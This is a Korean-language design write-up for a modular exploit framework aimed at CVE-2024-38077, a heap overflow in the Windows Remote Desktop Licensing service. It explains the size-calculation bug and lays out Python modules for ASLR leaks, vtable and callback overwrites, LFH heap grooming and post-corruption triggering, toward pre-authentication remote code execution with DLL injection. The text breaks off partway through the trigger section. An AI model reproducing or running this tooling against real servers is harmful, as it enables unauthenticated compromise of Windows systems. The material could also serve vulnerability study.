CVE-2024-38077 (Windows RDL 힙 오버플로우)를 위한 모듈식 익스플로잇 프레임워크로, ASLR 우회, 힙 그루밍, ROP 체인 생성, DLL 인젝션 페이로드를 포함하여 사전 인증 원격 코드 실행을 지원합니다.
이 문서는 프레임워크의 각 구성 요소가 왜 존재하는지, 그리고 어떻게 작동하는지를 설명하며, Windows 최신 환경에서의 힙 버퍼 오버플로우 익스플로잇을 다룹니다.
Windows 원격 데스크톱 라이선스 서비스(lserver.exe)는 CDataCoding::DecodeData 함수에서 힙 버퍼 오버플로우가 발생합니다.
┌─────────────────────────────────────────────────────────────┐
│ 취약점: 잘못된 크기 계산 │
├─────────────────────────────────────────────────────────────┤
│ 1. 클라이언트가 크기 N의 Base64 데이터를 전송 │
│ 2. 서버가 계산: buffer_size = (N / 4) * 3 │
│ 3. 서버가 'buffer_size' 바이트의 버퍼를 할당 │
│ 4. 실제 Base64 디코드는 다음을 기록: ceil(N * 3/4) 바이트 │
│ 5. N이 4의 배수가 아닌 경우: 오버플로우! │
└─────────────────────────────────────────────────────────────┘
구체적인 예시:
(4001 / 4) * 3 = 1000 * 3 = 3000바이트 할당됨ceil(4001 * 0.75) = 3001바이트 기록됨┌─────────────────────────────────────────────────────────────────┐
│ 익스플로잇 체인 │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│ LEAK │ MODEL │ WRITE │ GROOM │ TRIGGER │ EXECUTE │
│ (ASLR) │ (Target) │ (Where) │ (Heap) │ (Use) │ (RCE) │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py │target_ │write_ │heap_ │trigger │code_ │
│ │model.py │primitive │controller│.py │reuse.py │
│ │ │.py │.py │ │ │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
↓ ↓
┌───────────┐ ┌──────────────┐
│ execution │ │ payload │
│ .py │ │ .py │
└───────────┘ └──────────────┘
↓ ↓
┌───────────────────────────────────────────────────────────┐
│ mitigations.py │
│ (DEP, ASLR, CFG 인식) │
└───────────────────────────────────────────────────────────┘
↓
┌───────────────────────────────────────────────────────────┐
│ exploit.py │
│ (오케스트레이터) │
└───────────────────────────────────────────────────────────┘
primitives.py - 기반메모리 조작을 위한 저수준 유틸리티입니다.
익스플로잇에 필요:
# Pack/Unpack - 정수를 바이트로 또는 그 반대로 변환
p64(0xDEADBEEF) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141) # → b'AAAA'
u64(b'\x41\x42...') # → 0x... (int)
# 순환 패턴 - 크래시 오프셋 식별용
cyclic(100) # De Bruijn 시퀀스 생성
cyclic_find(pattern, value) # 값의 오프셋 찾기
# 정렬 - 메모리는 정렬되어야 함
align(0x1003, 0x10) # → 0x1010 (16바이트로 정렬)
실제 문제: 크래시가 발생하고 RIP가 0x61616171을 가리킵니다.
cyclic_find(pattern, 0x61616171) → 정확한 오프셋!leak.py - ASLR 우회주소 공간 레이아웃 무작위화: 부팅/실행 시마다 주소가 변경됩니다.
부팅 1: ntdll.dll @ 0x7FFA12340000
부팅 2: ntdll.dll @ 0x7FFB98760000
부팅 3: ntdll.dll @ 0x7FFC55550000
메모리 위치를 모르면:
class LeakInfo:
"""유출된 주소를 담는 컨테이너"""
heap_base: int # 힙 베이스
ntdll_base: int # ntdll.dll 베이스
kernel32_base: int # kernel32.dll 베이스
# ...
class LeakProvider:
"""유출 소스 오케스트레이터"""
sources: List[LeakSource]
def obtain() -> LeakInfo:
# 각 소스를 성공할 때까지 시도
| 소스 | 작동 방식 | 사용 시기 |
|---|---|---|
ManualLeakSource | 사용자가 주소 제공 | 대상에 접근 가능한 실험실/디버그 |
ResponseLeakSource | RPC 응답에서 추출 | 서비스가 포인터를 유출하는 경우 |
TimingLeakSource | 시간 기반 부채널 | 이론적, 매우 어려움 |
데모/실험실에서:
--ntdll-base 0x7ffa...로 제공이는 실제 유출을 시뮬레이션하여 나머지 체인을 테스트할 수 있게 합니다.
target_model.py - 대상 매핑취약한 데이터 구조와 인접 구조의 모델링입니다.
오버플로우 ≠ 익스플로잇. 다음을 알아야:
class VulnerableBuffer:
"""오버플로우가 발생할 버퍼"""
allocation_size: int # 할당된 크기
write_size: int # 기록될 크기
overflow_amount: int # 차이 = 오버플로우
def calculate_overflow(input_size):
# 계산 버그 시뮬레이션
alloc = (input_size // 4) * 3
actual = ((input_size + 3) // 4) * 3
return alloc, actual, actual - alloc
class AdjacentObject:
"""손상될 객체(힙에서 인접)"""
fields: List[StructField]
has_vtable: bool # 가상 테이블이 있는가?
has_function_ptr: bool # 함수 포인터가 있는가?
# 리버스 엔지니어링 기반 가상 객체
license_req = AdjacentObject(
name="CLicenseRequest",
typical_size=0x100,
has_vtable=True
)
# 매핑된 필드
license_req.add_field("vtable", 0x00, 8, VTABLE, is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)
is_target=True인가?익스플로잇에 유용한 필드를 표시:
vtable: 덮어쓰면 메서드 호출 제어 가능callback: 덮어쓰면 콜백 호출 시점 제어 가능write_primitive.py - 제어된 쓰기오버플로우는 순차적 데이터를 기록합니다. 하지만 필요한 것:
class WritePrimitive:
def build_overflow_data(self) -> bytes:
"""
정확한 값을 가진 오버플로우 버퍼 구성
레이아웃:
[오프셋까지 PADDING] [제어된 값] [추가 데이터]
"""
data = bytearray(b"A" * max_offset)
for target in self.targets:
# 정확한 오프셋에 정확한 값 배치
data[target.offset:target.offset+8] = p64(target.value)
return bytes(data)
# vtable 덮어쓰기
write_primitive.set_vtable_overwrite(
vtable_addr=fake_vtable_address,
obj_name="CLicenseRequest"
)
# 콜백 덮어쓰기
write_primitive.set_callback_overwrite(
callback_addr=gadget_address
)
| 쓰기 | 결과 |
|---|---|
| AAAA... | 제어 없는 크래시 |
| 정확한 오프셋의 정확한 주소 | 제어된 실행 |
heap_controller.py - 힙 그루밍Windows는 LFH(낮은 단편화 힙) 및 세그먼트 힙 사용:
그루밍 = 결정적 레이아웃을 위해 힙을 조작.
그루밍 전:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
무작위 할당, 예측 불가능한 구멍
그루밍 후:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
제어된 레이아웃, 원하는 위치에 "구멍"
class HeapLayoutController:
def execute_full_groom(self):
# 1단계: 기존 구멍 채우기
self.phase_fill(50)
# 2단계: 대상 버킷의 LFH 활성화
# (Windows는 동일 크기 할당 약 17회 후 LFH 활성화)
self.phase_activate_lfh()
# 3단계: 스프레이 - 조밀한 패턴 생성
sprayed = self.phase_spray(200)
# 4단계: 전략적 구멍 만들기
# N개 할당마다 해제
self.phase_create_holes(sprayed, interval=4)
# 5단계: 안정화
self.phase_stabilize()
trigger.py - 손상 후 트리거손상이 발생했습니다. 이제 무엇을?
현재 상태:
- 메모리 손상됨 ✓
- 악의적인 값 기록됨 ✓
- 하지만 아무도 그 값을 **사용**하지 않음!
프로그램이 손상된 데이터를 읽고 사용하도록 해야 합니다.
class PostCorruptionTrigger:
strategies: List[TriggerStrategy]
# 구현된 전략: